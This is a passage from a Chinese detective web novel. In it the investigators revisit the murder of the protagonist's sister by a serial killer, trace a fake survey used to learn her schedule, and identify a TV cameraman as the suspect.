在犯罪前期,他的技法并不熟练。而到了后期,他几乎已经可以每一刀都避开受害者的要害部位,迫使她们在清醒中感受痛苦,最后再一刀刺入她们的心脏。
连环杀手的犯罪手法会不断精进,但犯罪标记一般不会轻易改变。
虽然他仍保留着将受害者尸体摆成祈求姿势并涂上红色指甲油的习惯,可在夏嫣和严雪儿的后颈处发现的那个两条竖线的标记,不论代表什么含义,都说明现在的他与之前有所不同。
究竟是什么导致了他出现这样的变化?
难道说……
她转头看了一眼还在无声扯头花的程述和秦聿风,说道:“先别打了,我有
个想法。”
秦聿风松开扯住程述领子的手,换上一副笑脸:“怎么了,祝好?”
祝好组织了一下语言,说出了自己的发现。
秦聿风皱了皱眉:“你的意思是,最近这两起案子有可能跟之前不是同一个凶手?”
祝好也有些拿不准,为难地挠了挠头。
虽然这两起案子与之前相比确实略有不同,但不论是受害者的选择、指甲油的成分,还是抛尸现场的布置和绳结的样式……几乎每一处细节都与指甲油杀手的作案手法一模一样。
当然,这些并非不能模仿。毕竟当初许安宁只通过偷看程述的笔记本,也几乎还原了他的作案手法,不过指甲油杀手还有一个十分明显的个人标记,就是会在尸体旁边放置上一名受害者的照片。
经过技术部的鉴定,在夏嫣尸体旁找到的程霜遇害的照片,和在严雪儿尸体旁找到的夏嫣遇害的照片,以及NPK发布在网上的两张照片均不是伪造或合成的。
如果只是模仿作案,凶手不可能对案件的细节了解得如此清楚,更别提还能拿到那些照片了。
而且这回出现的指甲油杀手不仅故意在程霜的坟前摆上一束勿忘我,还在帖子中提到了程述的名字,明显对五年前他接受采访时对自己做出“错误判断”的事情还怀恨在心。
程述沉吟片刻,说道:“我觉得祝好说得有道理,不过我们不需要一口咬定最近这两起案子的凶手不是同一个人,只是要把之前的九起案子和这回的两起案子分开分析,找出导致他的行为发生变化的原因。”
顿了顿,他对秦聿风道:“这样,我们分工合作,你们继续调查夏嫣和严雪儿的案子。指甲油杀手作案的间隔时间突然缩短,就意味着他需要花更多的时间、精力去观察和跟踪受害者,你们首先要查清楚他是如何在有限的时间内锁定目标的,还有要继续注意他的动向,一旦他在网上发帖,就第一时间告诉我。”
秦聿风问:“那你们呢?”
程述:“我们负责研究他消失前的所有案子。”
秦聿风迟疑片刻:“那些案子……这几年你不是早就已经翻烂了吗?”
程霜遇害之后,程述几乎把所有的时间都放在了对指甲油杀手的研究上,那满满一房间的资料和照片都被他刻进了脑子里。
秦聿风想不明白,如果之前的调查还有什么遗漏的细节,他应该早就有所察觉才对,现在再去研究,还有什么意义吗?
程述沉默了一会儿,才说:“没错,大部分是已经翻烂了,但小霜的那起案子我一直不太敢看。”
秦聿风微微瞪大双眼,似乎是惊讶于他居然能如此坦然地说出这些与程霜有关的话。过了会儿,他才小心翼翼地问:“你确定你行吗?”
程述不以为意地笑了笑:“我行得很,男人怎么能说不行?”
看他的笑容里并没有勉强的成分,秦聿风这才拍了拍他的肩膀:“好,那待会儿我让人把整理好的资料打包发给你。”
第198章
回到家时已经是傍晚,门刚打开,白眼狼就迫不及待从门缝中探出脑袋,朝着离家一天的两脚兽哇哇大叫起来。
程述嘶了一声,抬脚把它推回屋里:“你还想离家出走啊?出去了你就变成流浪猫了。”
祝好也弯腰摸了摸它的脑袋:“就是,出去流浪可没有罐头吃。”
听到“罐头”两个字,白眼狼眼睛都亮了,鸡毛掸子似的大尾巴高高竖起,等待着两脚兽的投喂。
然而关上家门后,一个两脚兽拎着买来的菜进了厨房,另一个两脚兽则在桌子前坐下,目不转睛地盯着面前发亮的小盒子,丝毫没有要给自己进贡罐头的意思,于是它理直气壮地一屁股坐在盒子前,挡住了两脚兽的视线。
祝好废了好大劲才把白眼狼从屏幕前赶走,打开了秦聿风发来的文件。
对指甲油杀手来说,程霜无疑是最特别的受害者之一,因为不论是身高还是发型,程霜都不符合他对受害者的偏好。他杀害程霜,仅仅是为了报复程述在公开采访中对他进行了错误的分析。
可按照程述的犯罪心理剖绘,指甲油杀手的智商并不低,相反他还很聪明,反侦查能力也很强,否则不可能连续多年犯案却一直没被警方抓获。
他真的不知道程述对他做出错误的分析是故意而为吗?还是说这根本只是个借口,看着他人深陷痛苦却又无能为力,才是他的真正目的。
文件夹里共有好几份文件,其中有现场勘验时拍的照片、事发时各路段的监控录像以及程霜的尸检报告。
当时指甲油杀手使用变声器报警,假扮成一名女子谎称自己被人跟踪,待大批警力赶到现场时却只发现了一部手机,里面播放着的是程霜被害的视频。等警方顺着线索找到程霜时,她早已没有了生命体征。
现场勘查拍摄的照片中,程霜跟之前的受害者一样,双手被绑在了十字样式的木架上,垂顺的长发挡住了她苍白的脸和被血染红的裙子。
程述从厨房里出来,拉了张椅子在祝好身边坐下。祝好下意识挪动鼠标要把照片关掉,程述却摁住了她的手:“继续吧。”
祝好没说话,只是轻轻点头,重新点开了照片。
照片十分详尽地将现场所有的细节都记录了下来,包括捆绑的绳结、程霜手上的红色指甲油、被放置在尸体旁边上一名受害者的照片,以及指甲油杀手唯一一次在抛尸现场留下的破绽——半枚带血的鞋印。
照片里触目惊心的场景让祝好忍不住头皮发麻,无端觉得有一座冰山沉甸甸压在心头,她无法想象当时程述在现场看到这样的情形时,会是什么感受。
她忍不住转头看向程述。虽然他面上并没有变换太多神色,但从攥紧的双拳可以看出,他明显是在强压着某些难以想象的情感和思绪。
祝好轻轻拍了拍他的手背,问道:“你还好吗?要不你先去做饭,我自己看。”
程述微微张了张嘴,好半天才低声含混道:“我没事,接着看吧,不用管我。”
一张一张翻看完所有的照片,却并未发现什么有用的线索。祝好点开了另一个文件夹,里面是程霜被带走前监控拍下的画面。
从监控中看,跟程述描述的差不多。当时下着大雨,程霜撑伞走向公交车站,路过一条巷子口时突然顿住了脚
步,转头往巷子里看去,似乎是听到有谁在叫她。她左右张望了一会儿,发现周围并没有其他人后,犹豫片刻还是走进了巷子里,之后再也没有出现过。
再有就是一些现场的勘查记录,记录里并没有太多内容,只寥寥几句话记叙了现场的情况。
除此之外,就是有关人员的一些笔录,包括程霜做家教的那一家人、她的朋友,以及她唯一的亲人程述,但由于指甲油杀手是即兴作案,并没有什么前兆,所以笔录里也没有什么确切有用的线索。
所有文件看完后,程述往后仰靠在椅背上,如释重负地舒了一口气。话虽然说得轻巧,但要把那些沉重的过往重新回看一遍,除非是铁石心肠的人,否则不可能无动于衷。
粗略看下来,程霜的案子似乎并没有什么突破口,祝好失落地叹了口气。
程述故作轻松地伸了个懒腰,揉了揉她的脑袋笑道:“叹什么气啊,如果只是看一遍卷宗就能马上发现遗漏的线索,那淮江市的警局就该划到我们侦探社名下了。好了,我先去做饭。”
蹲在电脑旁的白眼狼看见程述起身,嗷一声跳下桌子,屁颠屁颠跟在他身后走进厨房,试图依靠撒娇卖萌骗取一个罐头。
祝好的目光越过屏幕,看向在厨房里忙活的程述。大概是因为最近太忙,他的头发又长长了些,不打理的时候就软趴趴垂在额前,颇有几分五年前接受采访那段视频里略带青涩又桀骜不驯的味道。
她收回目光,又重新点开程霜走进巷子前那段监控视频,不抱希望地从头到尾看了一遍,结果还是跟之前一样,并未发现什么特别之处。
她刚要关掉视频,鼠标划过监控左上角的时间时突然顿住了,脑子里忽地闪过一块碎片,赶忙从屏幕后面探出脑袋向程述确认道:“你说过指甲油杀手十分谨慎,在锁定目标之后,会花很长时间观察和跟踪受害者,以确保计划万无一失,对吗?”
程述刚把切好的青椒倒进锅里,听她这么问,有些疑惑:“对,怎么了吗?”
祝好的心脏怦怦直跳,没有马上回答,转而问道:“我记得你第一次接受采访时穿的是短袖,当时是几月份?”
生怕一闪而过的灵感转瞬消失,不等程述回答,祝好就点开网页输入关键词,在电视台的网站上找到了他接受采访的视频,视频发布的时间是6月26号。
程述关掉煤气灶,脱下围裙走回电脑前,俯身看着屏幕:“怎么了?……为什么突然要看这段视频?”
祝好紧张得嗓子有些发干:“你之前说过,小霜为了不让你担心,下课后要么直接回家,要么就留在宿舍里,所以去做家教的这一天是她为数不多会在晚上出门的时间。”
程述点点头。
6月26号新闻才刚刚播出,指甲油杀手7月3号就对程霜下手了,期间只相隔了不到一个星期,这显然与他会花大量时间观察和跟踪受害者这一习惯大相径庭。
当然这有可能是因为在看到新闻后,他勃然大怒,对程述生出了报复之意——或者说不知怎么的,他突然因此对程述产生了浓厚的兴趣,想要尽快看到这个不把自己放在眼里的毛头小子在失去至亲后,会陷入怎样的痛苦和自责中。
可在这短短几天之内,他要完成的事情简直太多了——光是给电视台寄去信件和照片、调查程述的身份和社会关系就已经要花去不少时间,那他又是如何准确得知程霜会在星期三晚上去做家教,并守在路上将她掳走的?
祝好提出自己的猜测:“有没有可能他急于报复你,所以想办法通过其他的途径了解到了这一点?如果我们能弄清楚还有谁知道小霜去做家教的时间,是不是就能顺藤摸瓜找到线索?”
程述靠在桌旁,双眼雾霭沉沉,半晌自嘲地扶着额头叹了口气,嘴角阖动一下,泛起一个半酸不苦的笑:“我居然完全没想到……我怎么会没想到呢?”
指甲油杀手的目的达到了——程霜遇害之后,程述不可自拔地陷入了深深的愧疚之中,不仅辞去了警局的工作,还将自己的生活过成了一团乱麻。
虽然一心想着为程霜报仇,但再冷静的人也会有溃不成军的时刻。自责之下,他本能地选择了逃避,哪怕把其他案子的卷宗都要翻烂了,也没有勇气去深入探究跟程霜有关的那一桩一件的细节。
祝好喉间仿佛堵着什么硬块,一时不知该说些什么安慰的话,只好续上刚才的话题,又问:“你仔细想想,小霜身边还有其他人知道她去做家教这件事吗?”
程述眉头一皱,屈指敲击着桌面,过了好一会儿才说:“除了中学生一家人、她的一部分朋友和我,应该没别人了。”
中学生一家是程霜出事前最后见过的人,当时警方已经给他们做过笔录,排除了他们的嫌疑。
祝好问:“你认识小霜的朋友吗?我们可以再去找她们问问看。”
程述顺着她的话音略一思索,说道:“之前她有个好朋友缠着她要过我的微信,我找找。”
说完拿出手机翻了翻通讯录,翻到一半突然意识到什么,又补充道:“先声明,我只是看在小霜的面子上没把她删掉,可从来没跟她聊过天。”
祝好愣了一下才反应过来他这是在证明自己的清白,忍不住笑了出来:“聊过又怎么了?”
程述意味深长地瞥了她一眼,语气里有不加掩饰的促狭,仔细一听似乎还有那么一些些委屈:“没怎么,只是想告诉你我很守男德,不像某人。”
祝好听出他意有所指,虽然有点心虚,但面上半点不输,朝他翻了个白眼。
程霜的那位好朋友名叫谭千凝,她大学时跟程霜一个宿舍。当初加上程述的微信也只是一时兴起,那么多年过去,她早就将这件事抛在脑后。
突然收到程述的信息,她估计也花了好一会儿才反应过来,但还是答应了程述见面的请求。
第199章
几年过去,谭千凝早已从大学毕业,进入了一家互联网公司上班。
约定见面的地点就在她公司楼下的餐厅,正值午休时间,餐厅里坐着三三两两休憩的白领。祝好提前看过谭千凝朋友圈的照片,一进餐厅就认出了她。
她坐在靠窗的座位上,留着干练的短发,穿着剪裁合身的职业套装。
祝好跟她打了声招呼,和程述一起在她对面坐下。
谭千凝微微颔首,似乎是想要开口回应,又不知该怎么称呼好,只能报以礼貌一笑。
程述率先开口自我介绍:“叫我程述就行,这是我的——”
没等他把话说完,祝好就主动接过话茬:“我是他的助手,我叫祝好。”
谭千凝点点头,把菜单递给他们,问道:“要吃点什么吗?”
程述摆摆手,没说太多客套话,直入主题:“这回约你出来,是想问你一些关于小霜的事情。”
时隔多年再次听到程霜的名字,谭千凝眉头微抬,有些惊讶:“小霜……什么事?”
程述问:“你还记不记得五年前小霜出事前,曾做过一段时间的兼职。”
谭千凝思忖片刻,恍然道:“我想起来了,她当时跟我说你一个人工作养家很辛苦,还要负担她的学费,想多替你分担一些,就在网上找了份家教的工作,每个星期都会去一个中学生家里辅导她做功课。”
程述抱着双臂凝神听着,短暂的沉默后,又问:“除了你之外,还有其他人知道她做家教的事情吗?”
谭千凝闻言又仔细回想了许久,才回答:“知道的人应该不多,小霜为人很低调,这件事整个宿舍应该就只有我知道,宿舍之外的其他人就更不用说了……”
话说到一半,她突然想起什么:“你们问过宋凌云了吗?”
“宋凌云?”从程述疑惑的表情上看,他并不知道谭千凝口中的这个人是谁。
“小霜没跟你说过吗?宋凌云是我们学校音乐社的社长,小霜跟他是……”她话音一顿,似乎是意识到了什么,又换了个说法:“小霜那段时间跟他走得很近,所以我猜他应该也知道这件事。”
程述问:“这个宋凌云,你有他的联系方式吗?”
谭千凝摇了摇头:“没有,不过我听说他毕业之后开了家乐器行。稍等,我搜一下。”
她的手指飞快在屏幕上滑动,过了一会儿,说道:“应该是这家,地址我发给你。”
程述淡淡地“嗯”了一声,被祝好斜了一眼后,又抿了抿嘴,补了句“谢谢”。
谭千凝笑了笑表示不用客气,犹豫片刻,忍不住问出口:“你们突然找我问小霜的事,是跟最近那个连环杀手的案子有关吗?”
程述点了点头。
“其实小霜出事后,我一直想问问你过得怎么样,不过都没碰上合适的机会,现在看你状态还不错,我就放心了。”谭千凝看了祝好一眼,又解释道:“我的意思是,小霜应该能放心了。”
告别谭千凝后,从餐厅里出来回到车上,祝好在导航里输入了那家乐器行的地址,转头看到程述目光涣散,正扶着方向盘发呆。
她问:“怎么了?”
程述回过神,轻轻摇头:“没什么。”
祝好看出他兴致缺缺,有意缓和气氛,打趣道:“是不是因为小霜交了男朋友没告诉你,所以觉得不开心?年轻人嘛,谈个恋爱不想让你知道很正常,毕竟你们还有代沟呢。”
程述被她逗笑:“什么代沟,我也就比她大几岁,又不是什么老古董。”
俄顷又垂下眼帘,叹了口气:“我只是觉得,我对小霜的了解太少了。”
祝好拍拍他的肩膀:“现在了解也不迟,走吧,我们去会会这位‘男朋友’。”
按照谭千凝给的地址,他们找到了宋凌云开的那家乐器行。
乐器行坐落在街道一角,门头古朴的木制招牌上写着“云音乐器”,透过锃亮的玻璃能看到里面面积不大,陈列着各式各样的乐器。
推开门走进去,收银台后一位面容清秀的年轻女子扶着桌子缓缓站起身,招呼道:“欢迎光临,两位是想了解什么乐器呢?”
当她从收银台后走出来时,祝好立刻注意到了她高高隆起的腹部,也知道了她行动缓慢的原因。
祝好的目光在店里逡巡一圈,试探着问道:“请问宋凌云在吗?”
年轻女人扶着腰打量了他们一眼,面露疑惑:“你们是——”
见程述要掏出口袋里的证件,祝好一把摁住了他的手,笑着回答:“我们是宋凌云大学时期的朋友,好不容易回淮江市一趟,想找
他叙叙旧。”
听她这么说,年轻女人顿时卸下了防备,笑着说了句“稍等”,转身走进了店里的隔间。似乎是生怕惊扰到腹中的小生命,她的每一步都十分谨慎。
隔间窸窸窣窣的对话声透过未关紧的门缝传出来,只隐约听到“朋友”“叙旧”之类的词。
片刻后,一个年轻男人从里面走出来,目光落在程述脸上,眼底闪过一抹讶异。他不着痕迹地瞥了身旁的女子一眼,转头笑道:“好久不见,什么时候回来的?”
年轻男人身形颀长,面目俊朗,彬彬有礼,从外貌和气质上看,的确跟程霜十分般配。想必他就是宋凌云了。
祝好顺着他的话音回答:“这两天刚到。”
乐器行的面积不大,四个人往里一站,顿时显得有些拥挤。
年轻女人善解人意地笑了笑,对宋凌云说道:“老公,你的朋友好不容易回来一次,你跟他们去喝杯下午茶聊聊天吧,店里有我在就行。”
宋凌云眼睛里宠溺的笑意藏都藏不住,替她将垂落在额前的头发捋到耳后,温声说道:“那就辛苦你了,我们就在对面咖啡厅坐坐,我一会儿就回来。”
他们在与乐器行一马路之隔的咖啡厅坐下,没等程述开口自我介绍,宋凌云就说:“你是小霜的哥哥吧?你们的五官简直一模一样,刚才我看到你的第一眼立刻就认出来了。”
程述不置可否,朝着乐器行的方向抬了抬下颌,问了个无关紧要的问题:“那是你妻子?”
宋凌云点点头:“我们是大学毕业后认识的,已经结婚两年了。”
程述又问:“你跟小霜是什么关系?”
他语气有些生硬,比起询问,听着更像是质问。
祝好用手肘捅了他一下,解释道:“我们去找过小霜的朋友,听说你们当时走得很近,你们是朋友还是……”
宋凌云微微一怔,明白了她的意思:“我跟小霜……应该算是比较好的朋友吧。”
顿了顿,他抬眼看向程述,有些不好意思:“小霜是个很优秀的女孩儿,其实我当时对她挺有好感的,只是还没有来得及表明自己的心意,她就……”
说到这儿,他的目光黯淡下来,低声叹了口气。
三个人一时间相对无言,好在服务生端着几杯咖啡过来,打破了滞闷的气氛。
祝好轻咳了一声,进入正题:“其实我们这次来找你,是有个问题想要问你。”
宋凌云闻言不自觉坐直身子,面色严肃起来,左右看了看,压低声音问道:“是不是跟当初杀害小霜那个连环杀手有关?我看到了最近的新闻,他是不是又出现了?”
祝好跟程述对视一眼,没回答他的问题,问道:“你知不知道小霜之前去做兼职的事?”
宋凌云喝了口咖啡:“知道,她当时每个星期三的晚上都会去做家教。”
“那你有没有跟其他人提起过、或者你知不知道还有谁知道这件事?”
他端着杯子认真地思考了好一会儿,才说:“印象中应该没有。”
想了想,又补充道:“或许有,但时间隔了太久,我也记不太清楚了。”
毕竟已经过去了五年,许多记忆都已经模糊了,如果不是什么太重要的事情,一时间的确很难回忆起所有细节。
宋凌云突然转头透过玻璃看向马路对面,脸上流露出些许担忧。
循着他的视线,祝好看到一位父亲带着自己的孩子走进了马路对面的乐器行,猜到他或许是心疼怀着身孕的妻子,便拿出侦探社的名片递给他:“这样吧,我们给你留个电话,你回去好好回忆一下。如果记起来什么,麻烦第一时间跟我们联系。”
宋凌云点点头,小心翼翼地把名片收进胸前的口袋里,转身就要离开。走了几步后又突然停住,在原地踌躇片刻,又回到座位上坐下。
祝好有些困惑:“怎么了?”
“那个……”他喉结上下一滑,似乎在斟酌着措辞,过了会儿才说:“有件事埋在我心底很久了,我一直不知道该跟谁说。其实那天晚上我本来跟小霜约好要去接她的,但因为社团里突然有事耽搁了。”
“小霜出事后,我甚至连她的葬礼也没勇气去,生怕她会责怪我。如果那天我没管社团的事,而是按照约定去接她,她是不是就……”说到这儿,他突然有些哽咽,眼圈也微微泛红,低下头不敢看程述的眼睛:“对不起,是我没照顾好她。”
程述目光一颤,好似本能地咽回了什么,朝他笑了笑:“不用自责,不是你的错。”
说完又望向马路对面的音乐行:“谢谢你之前对小霜的照顾,小霜不会责怪你的,知道你现在过得幸福,她应该也会感到很欣慰。”
第200章
程述托着下巴,飘忽的眼神跟着宋凌云离开咖啡厅,走过马路,回到了乐器行里。
透过玻璃依稀可以看到宋凌云扶着妻子坐下,然后热情地招呼刚才走进店里的父子俩。
看他发愣,祝好伸手在他眼前晃了晃:“怎么又在发呆了?”
程述抽回神思,几不可闻地叹了口气,端起面前的咖啡抿了一小口:“我只是在想,如果小霜现在还在的话,会过着什么样的生活。”
这一天下来,他不得不去面对那些之前一直刻意回避的东西,也从别人口中窥见了一个自己不曾了解过的妹妹,说没有遗憾是不可能的,但更多的,或许还是无法消弭的愧疚。
祝好想说些什么,还没张口,他脸上的沉郁就已经消失殆尽,若无其事地调转了话头:“不用说什么安慰的话,我现在已经在想另一件事了。”
祝好:“什么?”
他眉头一挑:“你说呢,小、助、手?”
祝好还是没反应过来:“啊?”
见她这副模样,程述只得无奈地把话挑明:“祝好,我不想当你的老板了,你什么时候能给我个正式的名分?”
话题转换得太突然,祝好愣怔,嘟囔道:“不是说了先把案子给解决嘛,再委屈你当一段时间老板吧。”
程述不错眼地看她:“那如果这段时间里,你的那些可攻略对象约你出去玩怎么办?”
冷不丁的灵魂拷问让祝好一时哑然——这个问题她还真没想过。不过这个游戏的主动权在她手上,也就是说,只要不捅破那层窗户纸,她跟几位可攻略对象之间就不会有什么后续的发展。
见她没有马上回答,程述忿然:“当然是马上拒绝了,你怎
么还要花时间想?!”
“好好好,我拒绝,行了吧。”祝好忍不住在心里吐槽,这家伙怎么小气吧啦的。
程述啧了一声:“怎么看起来还有点不情不愿的,祝好,你不会是想同时脚踏几只船吧?”
没等祝好开口,他又理直气壮地补了句:“如果你实在要脚踏几只船,也要让我当正房。”
祝好:……
这都哪儿跟哪儿啊,怎么越说越离谱了。
她赶紧把话题扯回来:“对了,你有没有去过小霜被带走的地方?”
程述点头:“怎么了?”
祝好:“反正晚上也没什么事,不如我们去转转吧。”
正好到了傍晚,在咖啡厅里点了两份简餐应付晚饭后,天色也渐渐暗了下来。
从程霜做家教的那名中学生家的小区大门走到公交车站,大概有三百米的距离,指甲油杀手把程霜骗进去的那条巷子就在这段路中间。
巷子幽暗且深长,几年过去了,里面的路灯还是没有修好,站在巷子口往里望去,是一片深不见底的漆黑。仿佛在巷子的尽头正盘踞着一只张开黑色大口的巨蟒,要将一切都吞噬进肚。
程述打开随身携带的小手电筒照亮脚下坑坑洼洼的路,另一只手十分自然地伸向祝好。祝好犹豫了一下,牵住了他的手,跟他一起小心翼翼地绕开地上的杂物朝里走去。
淮江市的老城区因为初期规划不合理,楼房和楼房之间衍生出许多交杂错乱又四通八达的巷子,而且这些巷子还有一个共同点,那就是灯光昏暗且没有监控——祝好甚至怀疑这是系统为了增加游戏难度故意做出的设置。
当时程霜进了巷子后就没再出现过,恶劣的暴雨天气也消除了一切罪证和潜在的目击证人,所以时至今日,警方依旧无法确定指甲油杀手是从哪个出口将她带走的。
其实祝好也不知道自己来这儿是要找什么,当年警方花了大量的人力和精力在附近搜寻,也并没有找到有用的线索,更别说五年过去,就算有什么被遗漏的蛛丝马迹,也早就随着时间的推移而消失了。
不过程霜的案子是指甲油杀手唯一一次没有长期计划、而是临时起意的作案,祝好仍是抱着一丝侥幸心理,万一到了这儿能触发系统的隐藏功能,找到什么被忽略的线索呢?
越往巷子深处走,从街道外传来的喧嚣就越来越小。借着手电筒幽暗的光线,祝好左顾右盼,期盼着能触发什么隐藏功能,然而那个小放大镜的图标并没有如愿出现。
看来光想着走捷径还是行不通,祝好扯了扯程述的袖子,刚想问他要不要往回走,就听巷子的另一头突然传来窸窸窣窣的脚步声,紧接着黑暗深处出现了另一道手电筒的光束。
有人?
大晚上的不走灯光明亮的大路,专挑这种污水横流、没有路灯的巷子走,除了想查明真相的他们之外还会有谁?
祝好突然想起在书上看到过,有的连环杀手经常会到案发地点故地重游,重温犯罪的过程,以获得心理上的满足,难道说……
程述显然也想到了这一点,朝祝好使了个眼色,关掉手电筒拉着她贴近墙壁,用墙边的杂物遮掩身形。
透过杂物的缝隙和摇晃不定的光束,隐约可以分辨出对方是个成年男性,他边走边东张西望,似乎是在寻找着什么。
等那个身影靠近时,程述猛地从杂物后面窜出来,一个箭步上前,将那个人按在墙上,对方很明显被吓了一大跳,倒吸了一口凉气,支支吾吾说不出话来。
祝好打开手电筒往他脸上一照,看清了那张面孔,惊讶道:“唐宋?”
程述闻言上下打量着眼前的人,他戴着一顶鸭舌帽,帽檐下依稀可见脸上的胎记——果然是唐宋。
唐宋被突如其来的一幕吓得不清,靠在墙边大口喘气,好半天才弄清眼前的状况,颤声问道:“祝、祝小姐?”
祝好赶忙拨开程述的手,朝他道歉:“不好意思,吓到你了。你怎么会在这儿?”
唐宋好不容易缓过神来,长呼了一口气:“吓、吓死我了,你们怎么也在这儿?”
说完才想起来似乎是祝好先问的问题,于是举起脖子上挂着的相机朝他们示意:“我是来找新闻素材的,就是那个指甲油杀手的案子。”
他回答得很坦然,似乎并没有打算掩饰什么。
祝好问:“你为什么突然对这个案子感兴趣?”
唐宋腼腆地挠了挠后脑:“不瞒你们说,我刚进电视台,长相不上镜就算了,也没什么关系和资源,所以晋升的机会很少,工资也就那一点点。上回之后,我感觉连环杀手重新出现的那个案子好像关注度很高,就想着能不能挖掘出一些特别的素材。”
说完才问:“那你们呢?也是在查那个案子吗?”
程述没回答他的问题,似乎对他有些戒备:“你从哪儿知道这个地方的?”
唐宋:“我找了很多之前的新闻报道,再结合网上的一些传闻,才找到这儿的。”
说着还有些惊喜:“所以这里真的是案发地之一吗?我真的找对了?我还以为网上的传闻都是假的呢。”
程述没理会他,只说:“把你拍的照片给我看看。”
唐宋依言把手里的相机递给程述,程述打开相册翻看了一下,里面拍的都是些无关紧要的东西,譬如巷子的出口,墙角的杂物等等。
他把相机还给唐宋,冷冷说道:“这起案子警方还在调查中,不能随便报道,你还是去查点别的吧。”
唐宋有些失望:“警方不让报导的不是最近的那两起案子吗,那我调查之前的案子应该没什么关系吧?”
程述语气生硬:“说了不行就是不行,赶紧回去吧,大晚上的别到处晃悠。”
唐宋还想说些什么,但程述没理会他,拉着祝好就往巷子口走去。
祝好回头看着唐宋愣在原地不知所措的身影,低声问程述:“我怎么觉得你好像对他有意见?”
程述淡淡地说:“没有。”
祝好又问:“那你怎么每次见到他都是一副冷冰冰的态度,人家好歹救过我们呢。”
程述没说话,直到上了车才回答她的问题:“我也说不清楚,只是觉得他每次的出现看似合情合理,但细想又太过凑巧了。”
祝好回想了一下,好像果真如此。明明是个跟案子没有任何关系的人,却又三番五次出现在案件现场,的确巧合得不禁让人生疑。
不过除了出现得有些频繁之外,他似乎没给他们带来过什么麻烦或者伤害,反而还帮助过他们好几次。
在西临市的时候,他在林洋即将发现他们时冒险敲开启源老师的门,告诉程述离开的路,又在他们被困山底时突然出现,将他们救下,将重要证据交给他们。回到淮江市之后,虽然也见过他几次,但也都是因为工作。
说不定他的身份其实是类似游戏中引导主角发现线索的NPC呢?
程述不置可否,只说:“防人之心不可无,总之还是别跟他走得太近了。”
*
本以为宋凌云的事情再无下文,没想到第二天早上跑步回家,程述的电话突然响了,屏幕上显示的正是宋凌云的号码。
电话刚一接通,宋凌云就迫不及待的开口:“程先生,昨天跟你们分别后我回去仔细回想了很久,突然记起来一件事。”
程述眉头一凛,问道:“什么?”
“那是小霜出事的,当时我们正在学校里散步,突然有个人拿着几张调查问卷走过来希望我们帮忙填写。”
在大学校园里让学生帮忙填写调查问卷其实很常见,祝好读大学的时候也碰到过好几回,有时是学生的作业,有时是报社或者电视台的专题报导,如果不忙的话,帮忙填写一份也只是顺手的事,大部分学生都不会拒绝。
祝好问:“问卷的内
容是什么?”
宋凌云:“我记得是跟大学生兼职有关的,具体的内容我有些记不清了,不过当时我看了一眼小霜填写的内容,里面提到过她去做家教的事。”
程述飞快跟祝好对视一眼,问道:“发调查问卷的人长什么样?”
宋凌云思忖片刻,答道:“是个中年男人,长相挺普通的,大概40多、50岁吧。对了,他那时候说是电视台要进行一次专题报导。我一开始不太相信,他还给我们看了他的证件,是淮江市电视台的工作人员,职务好像是个摄像师。”
长相、年龄都跟程述对指甲油杀手的人像剖绘对上了,祝好紧张得不自觉攥紧了拳头。
电话那头的宋凌云接着说:“其实我当时也奇怪,为什么是摄影师来发调查问卷,但看他的工作证不像假的,就没多想。还有,刚才我突然想起来,既然是针对大学生的调查问卷,不应该给周围的人都发一份吗?但他让我们填完之后就匆匆离开了。”
程述强压情绪,问道:“你看过他的工作证,还记得他叫什么名字吗?”
宋凌云沉默许久,才说:“这个我实在记不起来了,抱歉。”
程述又问:“如果你再见到他还能认出来吗?”
这回宋凌云答得不假思索:“应该没问题。”
“好。”
电话一挂断,程述立刻拨通了秦聿风的号码:“老秦,马上查一下五年前淮江市电视台所有在职的摄像师,把名字、照片和所有详细信息都发给我。”
秦聿风被他劈头盖脸一顿输出弄得有些发懵:“怎么,你们查到什么了吗?”
程述没心思跟他解释:“别管了,你先查,我现在马上过去。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
200-210
第201章
淮江市电视台那边接到通知,很快按照警方的要求把台里摄像师的名单和证件照都发了过来。
看着程述把照片一张张下载下来发给宋凌云,秦聿风皱了皱眉,问道:“老程,祝好,你们到底查到什么了?”
祝好简单地把事情的经过跟他说了一遍,也提到了宋凌云的事。
秦聿风捻着下巴认真思索片刻:“你是说,指甲油杀手有可能是假借调查问卷的名义,得知小霜会在每个星期三去做家教,所以才守在半路把她掳走的?”
程述头也不抬:“这是目前可能性最大的一个推测了。”
信息发出去,过了十分钟左右,宋凌云才恢复了一条信息,里面附带了其中一张照片:“程先生,我看了很久,觉得这个人十分面熟,应该就是他。”
照片上的人名叫顾远乔,52岁,有着一张十分普通的面孔,没有任何能让人记住的特点,放在人群里瞬间就会被淹没。但不知为何,祝好无端觉得他的眼神里透着一股令人胆寒的森冷之意。
程述目不转睛地盯着屏幕,又闭上眼睛,陷入了某种沉思当中。过了好一会儿,才突然开口:“我总觉得我在哪里见过这个人。”
秦聿风问:“在哪儿?”
程述无奈:“我要是能记起来,就不用想那么久了。”
又说:“也可能是我记错了,人的大脑本身就具有欺骗性,会通过逻辑运算补全一些记忆和细节。”
祝好看着照片上淮江电视台的图标,突然想起什么,问程述:“我记得你接受采访时也是在淮江电视台,对吗?”
程述点点头,“对”字脱口而出的瞬间突然反应过来,立刻噌一下坐直身子,在网页上输入了关键词,找到了当初接受采访时的视频。
他把视频拉到最末尾的字幕,找到了工作人员的名单。在摄像师那一栏,赫然写着顾远乔的名字。
秦聿风嘶地吸了口气:“真是他?我记得我们当时还讨论指甲油杀手的反应速度怎么会那么快、时机拿捏得那么准,新闻播出的第二天就能把信寄到。”
程述起身打开秦聿风办公室的窗,一言不发地站在窗前吹了会儿风,沉默了许久,才说:“是他。”
秦聿风问:“你确定?”
程述转过身来,语气淡然却十分笃定:“没错,是他。采访结束后他还来找我闲聊过几句,说要把电视台的女同事介绍给我,问我家里都有什么人。当时我没理会他,随口敷衍过去了。”
过去二十多年的十多起连环杀人案如同一团乱麻,而这个突然出现在他们面前的名字就是其中最关键的一根线头,顺着捋下去,就能串联起所有零碎的线索和痕迹。
新闻是在采访录制两天之后播出的,如果顾远乔真是指甲油杀手,那一切就能解释得通了——
程述接受采访的那天他就是工作人员之一,因此才有充足的时间准备好信件,并趁着电视台向公众开放参观、人多手杂之时避开监控,把跟案件有关的信件和照片放到了主编的办公桌上。
秦聿风面色一凛,拿着手机离开了办公室。
迷雾之后的真相似乎已呼之欲出,这一刻程述等待了太久太久,祝好以为他会愤怒、会激动、会兴奋,可他的脸上却不见任何波澜,只是一瞬不瞬地凝视着屏幕上那张脸,不知在想些什么。
祝好小心翼翼地拍了拍他:“你还好吗?”
